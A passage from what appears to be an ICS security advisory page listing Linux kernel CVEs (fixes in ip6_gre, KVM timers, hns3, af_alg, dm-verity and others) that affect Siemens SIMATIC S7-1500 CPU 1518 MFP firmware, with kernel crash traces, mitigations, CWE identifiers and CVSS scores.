<p>In the Linux kernel, the following vulnerability has been resolved: ip6_gre: make ip6gre_header() robust Over the years, syzbot found many ways to crash the kernel in ip6gre_header() [1]. This involves team or bonding drivers ability to dynamically change their dev-&gt;needed_headroom and/or dev-&gt;hard_header_len In this particular crash mld_newpack() allocated an skb with a too small reserve/headroom, and by the time mld_sendpack() was called, syzbot managed to attach an ip6gre device. [1] skbuff: skb_under_panic: text:ffffffff8a1d69a8 len:136 put:40 head:ffff888059bc7000 data:ffff888059bc6fe8 tail:0x70 end:0x6c0 dev:team0 ------------[ cut here ]------------ kernel BUG at net/core/skbuff.c:213 ! skb_under_panic net/core/skbuff.c:223 [inline] skb_push+0xc3/0xe0 net/core/skbuff.c:2641 ip6gre_header+0xc8/0x790 net/ipv6/ip6_gre.c:1371 dev_hard_header include/linux/netdevice.h:3436 [inline] neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618 neigh_output include/net/neighbour.h:556 [inline] ip6_finish_output2+0xfb3/0x1480 net/ipv6/ip6_output.c:136 __ip6_finish_output net/ipv6/ip6_output.c:-1 [inline] ip6_finish_output+0x234/0x7d0 net/ipv6/ip6_output.c:220 NF_HOOK_COND include/linux/netfilter.h:307 [inline] ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247 NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318 mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855 mld_send_cr net/ipv6/mcast.c:2154 [inline] mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71098">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.2</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71104</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: KVM: x86: Fix VM hard lockup after prolonged inactivity with periodic HV timer When advancing the target expiration for the guest's APIC timer in periodic mode, set the expiration to "now" if the target expiration is in the past (similar to what is done in update_target_expiration()). Blindly adding the period to the previous target expiration can result in KVM generating a practically unbounded number of hrtimer IRQs due to programming an expired timer over and over. In extreme scenarios, e.g. if userspace pauses/suspends a VM for an extended duration, this can even cause hard lockups in the host. Currently, the bug only affects Intel CPUs when using the hypervisor timer (HV timer), a.k.a. the VMX preemption timer. Unlike the software timer, a.k.a. hrtimer, which KVM keeps running even on exits to userspace, the HV timer only runs while the guest is active. As a result, if the vCPU does not run for an extended duration, there will be a huge gap between the target expiration and the current time the vCPU resumes running. Because the target expiration is incremented by only one period on each timer expiration, this leads to a series of timer expirations occurring rapidly after the vCPU/VM resumes. More critically, when the vCPU first triggers a periodic HV timer expiration after resuming, advancing the expiration by only one period will result in a target expiration in the past. As a result, the delta may be calculated as a negative value. When the delta is converted into an absolute value (tscdeadline is an unsigned u64), the resulting value can overflow what the HV timer is capable of programming. I.e. the large value will exceed the VMX Preemption Timer's maximum bit width of cpu_preemption_timer_multi + 32, and thus cause KVM to switch from the HV timer to the software timer (hrtimers). After switching to the software timer, periodic timer expiration callbacks may be executed consecutively within a single clock interrupt handler, because hrtimers honors KVM's request for an expiration in the past and immediately re-invokes KVM's callback after reprogramming. And because the interrupt handler runs with IRQs disabled, restarting KVM's hrtimer over and over until the target expiration is advanced to "now" can result in a hard lockup. E.g. the following hard lockup was triggered in the host when running a Windows VM (only relevant because it used the APIC timer in periodic mode) after resuming the VM from a long suspend (in the host). NMI watchdog: Watchdog detected hard LOCKUP on cpu 45 ... RIP: 0010:advance_periodic_target_expiration+0x4d/0x80 [kvm] ... RSP: 0018:ff4f88f5d98d8ef0 EFLAGS: 00000046 RAX: fff0103f91be678e RBX: fff0103f91be678e RCX: 00843a7d9e127bcc RDX: 0000000000000002 RSI: 0052ca4003697505 RDI: ff440d5bfbdbd500 RBP: ff440d5956f99200 R08: ff2ff2a42deb6a84 R09: 000000000002a6c0 R10: 0122d794016332b3 R11: 0000000000000000 R12: ff440db1af39cfc0 R13: ff440db1af39cfc0 R14: ffffffffc0d4a560 R15: ff440db1af39d0f8 FS: 00007f04a6ffd700(0000) GS:ff440db1af380000(0000) knlGS:000000e38a3b8000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000d5651feff8 CR3: 000000684e038002 CR4: 0000000000773ee0 PKRU: 55555554 Call Trace: apic_timer_fn+0x31/0x50 [kvm] __hrtimer_run_queues+0x100/0x280 hrtimer_interrupt+0x100/0x210 ? ttwu_do_wakeup+0x19/0x160 smp_apic_timer_interrupt+0x6a/0x130 apic_timer_interrupt+0xf/0x20 Moreover, if the suspend duration of the virtual machine is not long enough to trigger a hard lockup in this scenario, since commit 98c25ead5eda ("KVM: VMX: Move preemption timer &lt;=&gt; hrtimer dance to common x86"), KVM will continue using the software timer until the guest reprograms the APIC timer in some way. Since the periodic timer does not require frequent APIC timer register programming, the guest may continue to use the software timer in ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71104">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/681.html">CWE-681 Incorrect Conversion between Numeric Types</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71112</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: hns3: add VLAN id validation before using Currently, the VLAN id may be used without validation when receive a VLAN configuration mailbox from VF. The length of vlan_del_fail_bmap is BITS_TO_LONGS(VLAN_N_VID). It may cause out-of-bounds memory access once the VLAN id is bigger than or equal to VLAN_N_VID. Therefore, VLAN id needs to be checked to ensure it is within the range of VLAN_N_VID.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71112">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71113</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - zero initialize memory allocated via sock_kmalloc Several crypto user API contexts and requests allocated with sock_kmalloc() were left uninitialized, relying on callers to set fields explicitly. This resulted in the use of uninitialized data in certain error paths or when new fields are added in the future. The ACVP patches also contain two user-space interface files: algif_kpp.c and algif_akcipher.c. These too rely on proper initialization of their context structures. A particular issue has been observed with the newly added 'inflight' variable introduced in af_alg_ctx by commit: 67b164a871af ("crypto: af_alg - Disallow multiple in-flight AIO requests") Because the context is not memset to zero after allocation, the inflight variable has contained garbage values. As a result, af_alg_alloc_areq() has incorrectly returned -EBUSY randomly when the garbage value was interpreted as true: https://github.com/gregkh/linux/blame/master/crypto/af_alg.c#L1209 The check directly tests ctx-&gt;inflight without explicitly comparing against true/false. Since inflight is only ever set to true or false later, an uninitialized value has triggered -EBUSY failures. Zero-initializing memory allocated with sock_kmalloc() ensures inflight and other fields start in a known state, removing random issues caused by uninitialized data.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71113">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71114</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: via_wdt: fix critical boot hang due to unnamed resource allocation The VIA watchdog driver uses allocate_resource() to reserve a MMIO region for the watchdog control register. However, the allocated resource was not given a name, which causes the kernel resource tree to contain an entry marked as "" under /proc/iomem on x86 platforms. During boot, this unnamed resource can lead to a critical hang because subsequent resource lookups and conflict checks fail to handle the invalid entry properly.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71114">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71120</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: SUNRPC: svcauth_gss: avoid NULL deref on zero length gss_token in gss_read_proxy_verf A zero length gss_token results in pages == 0 and in_token-&gt;pages[0] is NULL. The code unconditionally evaluates page_address(in_token-&gt;pages[0]) for the initial memcpy, which can dereference NULL even when the copy length is 0. Guard the first memcpy so it only runs when length &gt; 0.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71120">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71123</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix string copying in parse_apply_sb_mount_options() strscpy_pad() can't be used to copy a non-NUL-term string into a NUL-term string of possibly bigger size. Commit 0efc5990bca5 ("string.h: Introduce memtostr() and memtostr_pad()") provides additional information in that regard. So if this happens, the following warning is observed: strnlen: detected buffer overflow: 65 byte read of buffer size 64 WARNING: CPU: 0 PID: 28655 at lib/string_helpers.c:1032 __fortify_report+0x96/0xc0 lib/string_helpers.c:1032 Modules linked in: CPU: 0 UID: 0 PID: 28655 Comm: syz-executor.3 Not tainted 6.12.54-syzkaller-00144-g5f0270f1ba00 #0 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__fortify_report+0x96/0xc0 lib/string_helpers.c:1032 Call Trace: __fortify_panic+0x1f/0x30 lib/string_helpers.c:1039 strnlen include/linux/fortify-string.h:235 [inline] sized_strscpy include/linux/fortify-string.h:309 [inline] parse_apply_sb_mount_options fs/ext4/super.c:2504 [inline] __ext4_fill_super fs/ext4/super.c:5261 [inline] ext4_fill_super+0x3c35/0xad00 fs/ext4/super.c:5706 get_tree_bdev_flags+0x387/0x620 fs/super.c:1636 vfs_get_tree+0x93/0x380 fs/super.c:1814 do_new_mount fs/namespace.c:3553 [inline] path_mount+0x6ae/0x1f70 fs/namespace.c:3880 do_mount fs/namespace.c:3893 [inline] __do_sys_mount fs/namespace.c:4103 [inline] __se_sys_mount fs/namespace.c:4080 [inline] __x64_sys_mount+0x280/0x300 fs/namespace.c:4080 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0x64/0x140 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x76/0x7e Since userspace is expected to provide s_mount_opts field to be at most 63 characters long with the ending byte being NUL-term, use a 64-byte buffer which matches the size of s_mount_opts, so that strscpy_pad() does its job properly. Return with error if the user still managed to provide a non-NUL-term string here. Found by Linux Verification Center (linuxtesting.org) with Syzkaller.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71123">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71131</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: seqiv - Do not use req-&gt;iv after crypto_aead_encrypt As soon as crypto_aead_encrypt is called, the underlying request may be freed by an asynchronous completion. Thus dereferencing req-&gt;iv after it returns is invalid. Instead of checking req-&gt;iv against info, create a new variable unaligned_info and use it for that purpose instead.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71131">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71161</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dm-verity: disable recursive forward error correction There are two problems with the recursive correction: 1. It may cause denial-of-service. In fec_read_bufs, there is a loop that has 253 iterations. For each iteration, we may call verity_hash_for_block recursively. There is a limit of 4 nested recursions - that means that there may be at most 253^4 (4 billion) iterations. Red Hat QE team actually created an image that pushes dm-verity to this limit - and this image just makes the udev-worker process get stuck in the 'D' state. 2. It doesn't work. In fec_read_bufs we store data into the variable "fio-&gt;bufs", but fio bufs is shared between recursive invocations, if "verity_hash_for_block" invoked correction recursively, it would overwrite partially filled fio-&gt;bufs.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71161">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
